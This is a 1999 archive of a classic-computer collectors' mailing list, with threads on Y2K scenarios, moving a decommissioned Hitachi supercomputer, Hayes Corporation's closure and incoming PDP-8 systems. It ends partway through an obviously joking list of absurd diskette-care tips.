Huw.Davies@latrobe.edu.au Information Technology Services | Phone: +61 3 9479 1550 Fax: +61 3 9479 1999 La Trobe University | "If God had wanted soccer played in the Melbourne Australia 3083 | air, the sky would be painted green" From geoffrob at stmarks.pp.catholic.edu.au Wed Jan 6 01:40:42 1999 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:39:49 2005 Subject: Y2K Message-ID: <000801be3947$dda08b60$c52c67cb@canopus.stmarks.pp.catholic.edu.au> -----Original Message----- From: Sam Ismail To: Discussion re-collecting of classic computers Date: Wednesday, 6 January 1999 18:45 Subject: Re: Y2K >On Wed, 6 Jan 1999, Computer Room Internet Cafe wrote: > >> about date useage outside America. I know there are 250+ million of >> you, but we're not the 53rd state. (Yet anyway) We "ain't gonna" > >That's interesting. I must've missed the news about the 51st and 52nd >states being added to the Union :) I was acting on the assumption that Puerto Rico and maybe American Samoa would get in before us. :^) Cheers Geoff Roberts Computer Systems Manager Saint Marks College Port Pirie South Australia. My ICQ# is 1970476 Ph. 61-411-623-978 (Mobile) 61-8-8633-0619 (Home) 61-8-8633-8834 (Work-Direct) 61-8-8633-0104 (Fax) From gregorym at cadvision.com Wed Jan 6 00:56:02 1999 From: gregorym at cadvision.com (Mark Gregory) Date: Sun Feb 27 18:39:49 2005 Subject: Y2K Message-ID: <3.0.32.19990105235601.006b8be0@cadvision.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 993 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990105/8c0c5690/attachment.bin From kevan at heydon.org Wed Jan 6 05:32:21 1999 From: kevan at heydon.org (Kevan Heydon) Date: Sun Feb 27 18:39:49 2005 Subject: FWD: Large computer in the UK... Message-ID: I found this on one of the uk news groups. It is out of my league but someone might be interested. -- Kevan Collector of old computers: http://www.heydon.org/kevan/collection/ ------- Start of forwarded message ------- From: nmm1@cus.cam.ac.uk (Nick Maclaren) Newsgroups: uk.comp.misc Subject: Decommissioning large computers Date: 5 Jan 1999 19:09:37 GMT Organization: University of Cambridge, England Message-ID: <76to1h$oet$1@pegasus.csx.cam.ac.uk> 25 years ago, this was a sufficiently common activity that there were companies specialising in it .... We are likely to want to decommission a large computer for scrap in the near future, and are trying to find a company that will do it most economically and with least damage to the machine room. It is about 14 tons (I think), and includes a lot of heavy copper cabling, and may have more salvageable materials in the main boxes. Any serious suggestions as to who to approach gratefully received; I won't ask if anyone has done this recently, for obvious reasons :-) Regards, Nick Maclaren, University of Cambridge Computing Service, New Museums Site, Pembroke Street, Cambridge CB2 3QG, England. Email: nmm1@cam.ac.uk Tel.: +44 1223 334761 Fax: +44 1223 334679 ------- End of forwarded message ------- From Philip.Belben at PowerTech.co.uk Wed Jan 6 07:28:09 1999 From: Philip.Belben at PowerTech.co.uk (Philip.Belben@PowerTech.co.uk) Date: Sun Feb 27 18:39:49 2005 Subject: y2k stuff Message-ID: <802566F1.00475D65.00@PTECHNOTES02.PowerTech.co.uk> David Hansen wrote: > Ok, so it sounds like the general consensus on this list doesn't > perceive any possible problems from systems that perform automatic > disconnection/refusal of services due to systems that are based on > time/date ranges? Here are some examples of situations that are believed > to be possible... No, it is not that we do not perceive any possible problems. I at least believe that there will be problems. But I don't believe there will be major ones. And I certainly don't believe that they will happen all suddenly on 1/1/00. > utilities (power/water/telephone): > Say a disconnect period is 2 consecutive months of non-payment. A > customer pays his/her bill regularly but if the date isn't interpreted > properly the next time the system does a check for 'disconnect > candidates' it will not be able to find a single payment from a single > customer within a 2 consecutive months time period prior to 01/01/00 > (1900). Possible. And may affect telephones. But water, gas and electricity suppliers won't have the staff to go out and cut everyone off, since this has to be done physically at the premises. Besides, such a huge number of disconnections will be noticed and the cause identified. > banks: > Keeping in mind that banks routinely deactivate and -absorb- every > account that is over x years idle (commonly 2 yrs. but every one I have > come across has some variant of this), see how the above method applies > to this situation. Are you sure this is legal? A couple of years ago the National Savings Bank (as it was in the UK) were saying that they had accounts that had been inactive for over eighty (yes, 80) years with a few shillings in but they couldn't close them because they couldn't trace the owners or their heirs. (BTW Nat Savings never paid interest on balances less than a pound, so a few shillings 80 years ago is still a few * 5p today) AFAIK there is nothing in any contract I take out with a bank that says that if I deposit money and leave it there for over 2 years they are entitled to it. I come back 10 or 20 years later expecting to retrieve my savings. Yes, I did this with my German bank account in 1995 having not touched it since (I think) 1985. It was still there and I could still draw money out when on holiday in Germany. Yes, empty accounts may well vanish, and rightly so! > vendors of perishables: > Shipments of perishable items (food/medicine) are refused by automated > systems that read the dates on the items as expired. This has _already happened_ and will be addressed long before 2000. IIRC a chain of supermarkets in the UK was asked by a tinned (canned) food supplier why they were suddenly ordering three times the usual amount of tomatoes. It turned out that the warehouse was accepting tinned tomatoes each day; overnight the stock check found that they were out of date ("best before end feb 00" or something) and ditched them, and the following day more were ordered. It is not something that suddenly happens in 2000. > payroll: > Employee doesn't have any hours during the 'new' pay period so no > paycheck is issued. Also paychecks are issued with wrong dates and such. > Clients aren't billed if there isn't anything in the billing period. > etc... May happen. But the first manifestations of the bug will have turned up already - temporary contracts that expire in 2 or 3 years for example. Our accounting, job control etc. system uses 2 digit dates. Last year (or the year before - I forget) a lot of work was done on our system and a 2 digit date is now assumed to lie between 1950 and 2049. > security access: > I'll use my company as an example. I have full access to the office > building between the hours of 7am - 7pm M-F by way of a keycard. If the > wrong year is being calculated then M-F can easily be Sat-Wed., etc... As Tony and others have pointed out, this will probably occur. But it is relatively easy to override manually until sorted out. > credit cards: > Accounts are deactived or non-existent. Credit card companies - I forget who told this one from personal experience - hit the bug a year ago with cards that _expired_ in 00. This made them do all the necessary work then. While I concede that it is possible that there may be a few bugs left in (spurious late payment penalties for example), I doubt that accounts will disappear (and who will care? I'm not going to fuss if a lot of money I owe is forgotten about ;-) ). I know this is another "assumption" - that having hit the one bug they did all the work to cure the others - but I think the evidence points that way. Damn! This discussion is way off topic and I wasn't going to join in. Oh well, I've typed it now. Philip. From Philip.Belben at pgen.com Wed Jan 6 06:33:52 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:39:49 2005 Subject: FWD: Large computer in the UK... Message-ID: <802566F1.004A1482.00@WESTD90.pgen.co.uk> Kevan Heydon reported Nick Maclaren as haveing said: > We are likely to want to decommission a large computer for scrap in > the near future, and are trying to find a company that will do it > most economically and with least damage to the machine room. It is > about 14 tons (I think), and includes a lot of heavy copper cabling, > and may have more salvageable materials in the main boxes. I'm tempted to suggest the Cambridge University Computer Preservation Society, just to annoy them :-) I suspect that this is the old IBM 3084 that ran Phoenix. Any Cambridge people with more info? More to the point, what is to become of the software? Tapes? etc. I'd love it but I (a) have nowhere to put it and (b) have difficulty transporting anything over 1/2 ton. Philip. From rcini at msn.com Wed Jan 6 07:40:26 1999 From: rcini at msn.com (Richard A. Cini) Date: Sun Feb 27 18:39:49 2005 Subject: Hayes closing its doors Message-ID: <0d3ab1346130619CPIMSSMTPU08@email.msn.com> In case no one saw this in the paper this morning: "The Hayes Corporation, a company that once dominated the personal-computer modem business, is shutting down after failing to find a buyer. About 250 employees were laid off on Monday, leaving only a handful. The company sought protection from creditors in October, in its second trip to bankruptcy court in the 1990's, and attempted a reorganization under Chapter 11 on the United States Bankruptcy Code as it talked to potential buyers. But its primary lender notified the company that it would not continue efforts to keep Hayes alive. Hayes owes some $42 million ot creditors that includes NationsCredit, Lucent Technologies, and Rockwell Semiconductor Systems." Another one "bytes" the dust... ------------------------------------------------- Rich Cini/WUGNET (remove nospam_ to use) - ClubWin Charter Member (6) - MCP Windows 95/Windows Networking From pjw at cambridge-design.co.uk Wed Jan 6 08:00:41 1999 From: pjw at cambridge-design.co.uk (Phil Wright) Date: Sun Feb 27 18:39:49 2005 Subject: FWD: Large computer in the UK... References: <802566F1.004A1482.00@WESTD90.pgen.co.uk> Message-ID: <36936C89.9C0B23A7@cambridge-design.co.uk> No - this is what it is : > It is a Hitachi S-3600 2 GFlop vector system, ECL and all that, and > is the only one outside Japan. Spare parts are not available, and > most maintenance documentation is in Japanese. And, yes, I do mean > 10-15 tons :-) > We should certainly be happy to dispose of it as a working system, > subject to a written guarantee that it wouldn't be passed on to > Iran, Iraq, North Korea etc. (yes, really), but I can assure you > that nobody sane would be interested. > Sounds great! I'd be happy to help out anyone who had the space to relocate it. I'm in Cambridge. Phil. phil@var.org phil@cambridge-design.co.uk Philip.Belben@pgen.com wrote: > > Kevan Heydon reported Nick Maclaren as haveing said: > > > We are likely to want to decommission a large computer for scrap in > > the near future, and are trying to find a company that will do it > > most economically and with least damage to the machine room. It is > > about 14 tons (I think), and includes a lot of heavy copper cabling, > > and may have more salvageable materials in the main boxes. > > I'm tempted to suggest the Cambridge University Computer Preservation > Society, just to annoy them :-) > > I suspect that this is the old IBM 3084 that ran Phoenix. Any Cambridge > people with more info? More to the point, what is to become of the > software? Tapes? etc. > > I'd love it but I (a) have nowhere to put it and (b) have difficulty > transporting anything over 1/2 ton. > > Philip. -- Cambridge Design Partnership Ltd T: +44 (0)1223 264428 F: +44 (0)1223 264419 From meo at netads.com Wed Jan 6 09:34:59 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:49 2005 Subject: Y2K In-Reply-To: <3.0.32.19990105235601.006b8be0@cadvision.com> from "Mark Gregory" at Jan 5, 99 11:56:02 pm Message-ID: <199901061534.JAA08395@wildride.netads.com> The whole Y2K thing is a disgusting farce. In 1981, I was working on a MODCOMP mini. I was taking data from a realtime database and doing the reports. Because we had only 20MB of hard disk (compared to the whiners at banks with hundreds of MB), we really had to make every byte count. I spent an extra day or two making sure that the thing would work just fine when it rolled over midnight between Dec 31, 1999 and Jan 1, 2000. I have to admit, my boss laughed at me. I guarantee he isn't laughing today. But he went along with it. And that code also ended up being used in the control software as well as the report software. SO the Howard Frankland bridge accident detection and traffic rerouting software will work just fine. Assuming the power and telecomm software works, it will even do its job... -Miles The 16-bit MODCOMP. We also had some Classic II 32-bit systems for other jobs. 10MB fixed disk, 10MB removable. I forget if we had 64KW or 128KW main memory, but I do remember we had at least three levels of overlays... From meo at netads.com Wed Jan 6 09:39:18 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... In-Reply-To: from "Kevan Heydon" at Jan 6, 99 03:32:21 am Message-ID: <199901061539.JAA08447@wildride.netads.com> Kevan Heydon said... | |We are likely to want to decommission a large computer for scrap in |the near future, and are trying to find a company that will do it |most economically and with least damage to the machine room. It is |about 14 tons (I think), and includes a lot of heavy copper cabling, |and may have more salvageable materials in the main boxes. I'll happily come over and handle this, if they'll pay shipping for the 14 tons of decommissioned computer back to Texas. 8^) From william at ans.net Wed Jan 6 09:42:17 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... In-Reply-To: <199901061539.JAA08447@wildride.netads.com> Message-ID: > I'll happily come over and handle this, if they'll pay > shipping for the 14 tons of decommissioned computer back > to Texas. 8^) Do other countries (outside the U.S., that is) have tight export controls on supercomputers? Getting the thing out of Britain might be near impossible. Dammit...why do all of the surplus supers turn up overseas and not on the East Coast or Midwest? If this Hitachi was within 1000 miles or so from Carmel, New York, I might just do something foolish. Yes, I have the room for something this size. William Donzelli william@ans.net From bill at chipware.com Wed Jan 6 10:11:34 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:39:50 2005 Subject: y2k stuff In-Reply-To: <3692DA52.E53DF37@zebra.net> Message-ID: <000f01be398f$3af6ec40$bb88e9cf@yamato.chipware.com> > utilities (power/water/telephone): > Say a disconnect period is 2 consecutive months of non-payment. A > customer pays his/her bill regularly but if the date isn't interpreted > properly the next time the system does a check for 'disconnect > candidates' it will not be able to find a single payment from a single > customer within a 2 consecutive months time period prior to 01/01/00 > (1900). Telephone... possibly a minor problem, but where I live, to disconnect electric or water they have to send a guy in a truck to either close the valve or pull the electric meter. If there is a glitch in the systems of these utilities I think they will be caught before the crews start disconnecting every customer. > banks: > Keeping in mind that banks routinely deactivate and -absorb- every > account that is over x years idle (commonly 2 yrs. but every one I have > come across has some variant of this), see how the above method applies > to this situation. Not legal where I live. There are regularly large multi-page ads in the local papers listing inactive/unclaimed accounts. I think they might get suspicious when they send their entire account list to the paper. > vendors of perishables: > Shipments of perishable items (food/medicine) are refused by automated > systems that read the dates on the items as expired. Admittedly, it's been a few years since I worked stock at Woolworth's, but I think somebody might get the idea when an entire truckload of new stock is rejected. My manager was always present at the loading dock when the trucks came in. > payroll: > Employee doesn't have any hours during the 'new' pay period so no > paycheck is issued. Also paychecks are issued with wrong dates and such. > Clients aren't billed if there isn't anything in the billing period. > etc... Possibly a problem with direct deposit, however more and more companies are using payroll services. The payroll service used where I work is Y2K ready, I would imagine (since that is their primary business) that most payroll companies are handling this. > security access: > I'll use my company as an example. I have full access to the office > building between the hours of 7am - 7pm M-F by way of a keycard. If the > wrong year is being calculated then M-F can easily be Sat-Wed., etc... Hmmm... I've never worked in a place that strict. I have 24-7 access to my office. My accesses are recorded, but I think that somebody could figure out that I really did not go in to work on Jan. 4 1900. > credit cards: > Accounts are deactived or non-existent. Possibly a problem. I have to Visa cards with expiration dates of "02" which worked fine for all my Christmas shopping. One major problem I have with the whole Y2K thing are the assumptions that: 1) computer control everything and 2) people will blindly do whatever the computer tells them to. With the exception of "reject this credit card", I think these assumptions are false. From rigdonj at intellistar.net Wed Jan 6 13:16:40 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... In-Reply-To: References: <199901061539.JAA08447@wildride.netads.com> Message-ID: <3.0.1.16.19990106131640.29ff7444@intellistar.net> At 10:42 AM 1/6/99 -0500, William Donzelli wrote: > >Dammit...why do all of the surplus supers turn up overseas and not on the >East Coast or Midwest? If this Hitachi was within 1000 miles or so from >Carmel, New York, I might just do something foolish. How the hell would you move 14 tons of computer??? > >Yes, I have the room for something this size. To do what? Move into it? :-) From meo at netads.com Wed Jan 6 11:24:09 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... In-Reply-To: <3.0.1.16.19990106131640.29ff7444@intellistar.net> from "Joe" at Jan 6, 99 01:16:40 pm Message-ID: <199901061724.LAA08854@wildride.netads.com> Joe said... | | How the hell would you move 14 tons of computer??? You don't have to move that much very far. For instance, there's probably a ton or two of wire and cable - you find a buyer (recycler) and get them to pick it up. As for the rest, you can either call any of the professional movers, or rent some U-hauls and a fraternity (which will usually work for beer). |>Yes, I have the room for something this size. | | To do what? Move into it? :-) Perhaps the city could use the equipment to upgrade the homeless from cardboard boxes... -Miles From william at ans.net Wed Jan 6 11:25:07 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... In-Reply-To: <3.0.1.16.19990106131640.29ff7444@intellistar.net> Message-ID: > How the hell would you move 14 tons of computer??? If it were in the U.S., two of the largest trucks Ryder (or Uhaul, Budget, etc.) has to offer. About eight months ago, I moved about 6 tons of my radio stuff (including three 800+ pound shipboard transmitters) from Chicago to New York. The friends at both ends helped greatly...and the crane in my garage/workshop... I think Mr. Shoppa went thru the same deal with his goodies. > To do what? Move into it? :-) Well, it is better than seeing the thing go to scrap! Most of us on this list can say they are microcomputer collectors, maybe a third can say they are mini or workstation collectors, a few of us can say we are mainframe collectors, but I do not think anyone can claim to be a supercomputer collector yet! William Donzelli william@ans.net From mbg at world.std.com Wed Jan 6 11:42:27 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:39:50 2005 Subject: Looking for PolaPulse or equivalent Message-ID: <199901061742.AA01860@world.std.com> >>I've been busy making room for my newest haul... the pdp-8s. > >Tell us -8 owners more.... I don't actually have the machines yet... I have to make room for them first. I'll be getting pdp-8/a pdp-8/m pdp-8/e lab-8 (w/scope) pdp-11/34 (w/vt11, vr14 and light pen) manuals spares I'm going to be getting the manuals and spares and anything small I can fit in my car first. Then I'll get the 11/34 and one of the -8s, which are mounted in a DEC corporate short cab. Once this is in place at home, I'll go back for the two tall cabs which house the other three -8s and their devices. There are no connections between the tall cabs and the short cab, which is why that will be moderatly easy. I don't yet know if there are connections between the two tall cabs... I'll have to remove the systems to reduce the cab weight... so I'll be marking lots of cabling (i expect) to ensure it all goes back together successfully. I will admit that I am not going to keep it all... I do plan on keeping the 11/34, the lab-8 and the 8/e. One of the remaining -8s is destined for a friend, and the last one I will probably make available to someone from this list (please, NO mail at this time... operators are NOT standing by) once I figure out an equitable way to do so... First things first, however. I have to GET the stuff before I do anything else... :-) Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From cisin at xenosoft.com Wed Jan 6 12:08:02 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:39:50 2005 Subject: Looking for PolaPulse or equivalent In-Reply-To: <199901061742.AA01860@world.std.com> Message-ID: Either we have a small, understandable mistake, or IT IS TIME TO CHANGE THE SUBJECT LINE, or somebody needs to explain how many PolaPulses it takes to power a pdp-8!!!!!! To make a portable [Bout of it?? On Wed, 6 Jan 1999, Megan wrote: > > >>I've been busy making room for my newest haul... the pdp-8s. > > > >Tell us -8 owners more.... > > I don't actually have the machines yet... I have to make room for > them first. I'll be getting > > pdp-8/a > pdp-8/m > pdp-8/e > lab-8 (w/scope) > pdp-11/34 (w/vt11, vr14 and light pen) > > manuals > spares > > I'm going to be getting the manuals and spares and anything small > I can fit in my car first. Then I'll get the 11/34 and one of > the -8s, which are mounted in a DEC corporate short cab. Once > this is in place at home, I'll go back for the two tall cabs > which house the other three -8s and their devices. > > There are no connections between the tall cabs and the short cab, > which is why that will be moderatly easy. I don't yet know if > there are connections between the two tall cabs... I'll have to > remove the systems to reduce the cab weight... so I'll be marking > lots of cabling (i expect) to ensure it all goes back together > successfully. > > I will admit that I am not going to keep it all... I do plan on > keeping the 11/34, the lab-8 and the 8/e. One of the remaining > -8s is destined for a friend, and the last one I will probably make > available to someone from this list (please, NO mail at this time... > operators are NOT standing by) once I figure out an equitable way > to do so... > > First things first, however. I have to GET the stuff before I do > anything else... :-) > > Megan Gentry > Former RT-11 Developer > > +--------------------------------+-------------------------------------+ > | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | > | Unix Support Engineering Group | (home): mbg!world.std.com | > | Compaq Computer Corporation | addresses need '@' in place of '!' | > | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | > | Nashua, NH 03062 | "pdp-11 programmer - some assembler | > | (603) 884 1055 | required." - mbg | > +--------------------------------+-------------------------------------+ From william at ans.net Wed Jan 6 12:08:24 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... In-Reply-To: <199901061724.LAA08854@wildride.netads.com> Message-ID: > You don't have to move that much very far. For instance, > there's probably a ton or two of wire and cable - you find > a buyer (recycler) and get them to pick it up. The S3600s are air machines, right? If so, the processor is not as dense as a Cray from the same time period, so if the machine comes apart easily, it might not be too bad. The power supplies might get a bit ugly, however. William Donzelli william@ans.net From Philip.Belben at pgen.com Wed Jan 6 11:05:52 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... Message-ID: <802566F1.0062D6AE.00@WESTD90.pgen.co.uk> > Well, it is better than seeing the thing go to scrap! Most of us on this Well said! Hear, Hear! > list can say they are microcomputer collectors, maybe a third can say they > are mini or workstation collectors, a few of us can say we are mainframe > collectors, but I do not think anyone can claim to be a supercomputer > collector yet! AFAIK, Tony Duell has that honour, though his supercomputer (a DAP from 1989) is somewhat smaller - a largish desk-side IIRC. Tony, now your DAP is 10 years old, how about telling the list some more about it. Philip. PS In the UK, you need an LGV (light goods vehicle) driving licence for anything above 3.5 tons unladen, and an HGV driving licence for anything above 7.5 tons. Anyone know what you could put in a 3 ton truck? My own truck, 0.9 tons unladen, can carry 0.5 tons payload, but I imagine the ratio has improved since the 1940s... On the other hand, I know someone who is an HGV driving instructor so if these opportunities are going to come up, perhaps I should ask him for a few lessons... P. From william at ans.net Wed Jan 6 12:23:46 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... In-Reply-To: <802566F1.0062D6AE.00@WESTD90.pgen.co.uk> Message-ID: > AFAIK, Tony Duell has that honour, though his supercomputer (a DAP from > 1989) is somewhat smaller - a largish desk-side IIRC. Paul Pierce as well (that Intel box)... William Donzelli william@ans.net From rexstout at uswest.net Wed Jan 6 12:10:16 1999 From: rexstout at uswest.net (John Rollins) Date: Sun Feb 27 18:39:50 2005 Subject: y2k stuff In-Reply-To: <15fd3ddf.3692076b@aol.com> Message-ID: >Its an interesting thought, and I know from personal experience that >a set of Kenwood Twins operating at 100Watts about 4 ft from a TRS80 >Model 1 can cause it to crash. I would think its possible for a big solar >flare to at least affect an old TRS80. unlikely, though. And I remember an article in one of my old ham magazines about computers in ham radio, perhaps the radio can make it crash, but a lot of the old computers can do a lot of damage to nearby radios(in terms of reception, not physical or electric). Both problems are fixed by shielding one or both items, tin foil iseasy enough, but that article I mentioned earlier had a bit of a different approach... This guy built a can of steel food cans around his TRS-80!! And just because I'm confused, I'll toss in the following. First, even a big solar flare is unlikely to do much more than make a mess of orbiting satellites and make long-distance HF communications nearly impossible(due to ionization of the upper atmosphere), it is EXTREMELY unlikely, IMO, that any solar event less than a direct hit from a large CME(coronal mass ejection, seems to be a lot of them around but they always seem to miss. small target :-) or a supernova would affect the people of Earth. But I'm not an expert on such things, so I may be completely wrong. Second, I haven't been following the thread to closely, but what do solar flares haveto do with y2k? Oops, OK, looking back to the post I responded to there's a bit of what I would guess is the start. OK, here we go again. First, the Sun is NOT part of a conspiracy to cause blackouts and vaporize the innards of satellites. It's part of the normal solar cycle, which we are appraoching the peak of now during 2000. There i an increase of sunspots, and solar flares I don't know about but they happen all the time anyways, AFAIK there is no change or they just become more frequent. BTW, there is also the 27 day or so rotation of the sun which plays a big part in wether we notice at all or maybe even feel the affects of solar storms. NASA has several sites that talk about this stuff, I suggest everyone go read them(I'm going to, as soon as I find it...) -------------------------------------------------------------- | http://members.tripod.com/~jrollins/index.html - Computers | | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | | orham@qth.net list admin KD7BCY | | ham-mac@qth.net Portland, OR | -------------------------------------------------------------- From william at ans.net Wed Jan 6 12:27:25 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... In-Reply-To: <802566F1.0062D6AE.00@WESTD90.pgen.co.uk> Message-ID: > AFAIK, Tony Duell has that honour, though his supercomputer (a DAP from > 1989) is somewhat smaller - a largish desk-side IIRC. And come to think of it, did that one listmember get that Convex machine down under? William Donzelli william@ans.net From dastar at ncal.verio.com Wed Jan 6 12:36:46 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... In-Reply-To: <199901061724.LAA08854@wildride.netads.com> Message-ID: On Wed, 6 Jan 1999, Miles O'Neal wrote: > Joe said... > | > | How the hell would you move 14 tons of computer??? > > You don't have to move that much very far. For instance, > there's probably a ton or two of wire and cable - you find > a buyer (recycler) and get them to pick it up. Assuming you never want to get the machine working again, you would scrap the cable. Personally, I'd prefer to keep it with the machine where it belongs. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From meo at netads.com Wed Jan 6 12:49:04 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... In-Reply-To: from "Sam Ismail" at Jan 6, 99 10:36:46 am Message-ID: <199901061849.MAA09381@wildride.netads.com> Sam Ismail said... | |Assuming you never want to get the machine working again, you would scrap |the cable. Personally, I'd prefer to keep it with the machine where it |belongs. You don't have to scrap all of it, but an awful lot of it will end up being superfluous. Unless, for instance, you are also getting the 47 keypunches, 300 user terminals, 428 modems, and all those sorts of things (or whatever this particular system has), and plan to use all of them as well.... -Miles From donm at cts.com Wed Jan 6 13:22:02 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:50 2005 Subject: Hayes closing its doors In-Reply-To: <0d3ab1346130619CPIMSSMTPU08@email.msn.com> Message-ID: On Wed, 6 Jan 1999, Richard A. Cini wrote: > In case no one saw this in the paper this morning: > > "The Hayes Corporation, a company that once dominated the > personal-computer modem business, is shutting down after failing to find a > buyer. About 250 employees were laid off on Monday, leaving only a handful. > The company sought protection from creditors in October, in its second trip > to bankruptcy court in the 1990's, and attempted a reorganization under > Chapter 11 on the United States Bankruptcy Code as it talked to potential > buyers. But its primary lender notified the company that it would not > continue efforts to keep Hayes alive. Hayes owes some $42 million ot > creditors that includes NationsCredit, Lucent Technologies, and Rockwell > Semiconductor Systems." > > Another one "bytes" the dust... > > ------------------------------------------------- > Rich Cini/WUGNET > (remove nospam_ to use) > - ClubWin Charter Member (6) > - MCP Windows 95/Windows Networking Pity they did not accept the offer to be taken over by US Robotics during one of their Chapter 11 events. - don From rhblake at bigfoot.com Wed Jan 6 13:30:11 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:39:50 2005 Subject: Xpost: PDP-6 ASM language manual available Message-ID: <3693B9C2.39D15FFC@bigfoot.com> Clipped this from the Obsolete Computer Helpline - if interested contact Pat at the email address below, not me. Pat Stakem Columbia, MD usa - Tuesday, January 05, 1999 at 19:04:31 Does any one need a PDP-6 Macro-6 Assembly language manual? 1965, DEC-6-0-tp-mac-lm-act02 ..pat From sieler at allegro.com Wed Jan 6 13:45:16 1999 From: sieler at allegro.com (Stan Sieler) Date: Sun Feb 27 18:39:50 2005 Subject: Available: cards for HP 9000/850 3000/950 3000/960 Message-ID: <199901061945.LAA20048@bart.allegro.com> Hi, If anyone is interested in cards for the early PA-RISC machines: 9000/850 9000/860 (HP-UX) 3000/950 3000/960 (MPE/iX) let me know via email to: sieler@allegro.com The cards are HP-IB, HP-FL, and 802.3 interface cards. A friend has some, and I'll pass your name/email on to her. -- Stan Sieler sieler@allegro.com http://www.allegro.com/sieler.html From meo at netads.com Wed Jan 6 14:17:50 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:50 2005 Subject: Hayes closing its doors In-Reply-To: from "Don Maslin" at Jan 6, 99 11:22:02 am Message-ID: <199901062017.OAA09833@wildride.netads.com> Don Maslin said... | |Pity they did not accept the offer to be taken over by US Robotics during |one of their Chapter 11 events. Hayes was always a bit arrogant. Good, but a bit arrogant. From ard at p850ug1.demon.co.uk Wed Jan 6 12:51:43 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:50 2005 Subject: y2k stuff In-Reply-To: <802566F1.00475D65.00@PTECHNOTES02.PowerTech.co.uk> from "Philip.Belben@PowerTech.co.uk" at Jan 6, 99 01:28:09 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3644 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990106/a78c0f37/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 6 13:00:45 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:50 2005 Subject: FWD: Large computer in the UK... In-Reply-To: <802566F1.0062D6AE.00@WESTD90.pgen.co.uk> from "Philip.Belben@pgen.com" at Jan 6, 99 06:05:52 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1089 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990106/e5e9b13b/attachment.ksh From msteele at joules.enterprise-plc.com Wed Jan 6 15:28:18 1999 From: msteele at joules.enterprise-plc.com (Pete Joules) Date: Sun Feb 27 18:39:50 2005 Subject: Proper Diskette Usage and Care Message-ID: <000101be39bb$7a0d1d60$02c809c0@snoopy.joules.enterprise.net> I think this is relevant to most classic machines :) Proper Diskette Usage and Care (1) Never leave diskettes in the drive, as the data can leak out of the disk and corrode the inner mechanics of the drive. Diskettes should be rolled up and stored in pencil holders. (2) Diskettes should be cleaned and waxed once a week. Microscopic metal particles may be removed by waving a powerful magnet over the surface of the disk. Any stubborn metal shavings can be removed with scouring powder and steel wool. When waxing a diskette, make sure the surface is even. This will allow the diskette to spin faster, resulting in better access time. (3) Do not fold diskettes unless they do not fit into the drive. "Big" Diskettes may be folded and used in "Little" drives. (4) Never insert a diskette into the drive upside down. The data can fall off the surface of the disk and jam the intricate mechanics of the drive. (5) Diskettes cannot be backed up by running them through a photo copy machine. If your data is going to need to be backed up, simply insert TWO diskettes into your drive. Whenever you update a document, the data will be written onto both disks. A handy tip for more legible backup copies: Keep a container of iron filings at your desk. When you need to make two copies, sprinkle iron filings liberally between the diskettes before inserting them into the drive. (6) Diskettes should not be removed or inserted from the drive while the red light is on or flashing. Doing so could result in smeared or possibly unreadable text. Occasionally, the red light remains flashing in what is known as a "hung" or "hooked" state. If your system is hooking, you will probably need to insert a few coins before being allowed to access the slot. (7) If your diskette is full and needs more storage space, remove the disk from the drive and shake vigorously for two minutes. This will pack the data enough (data compression) to allow for 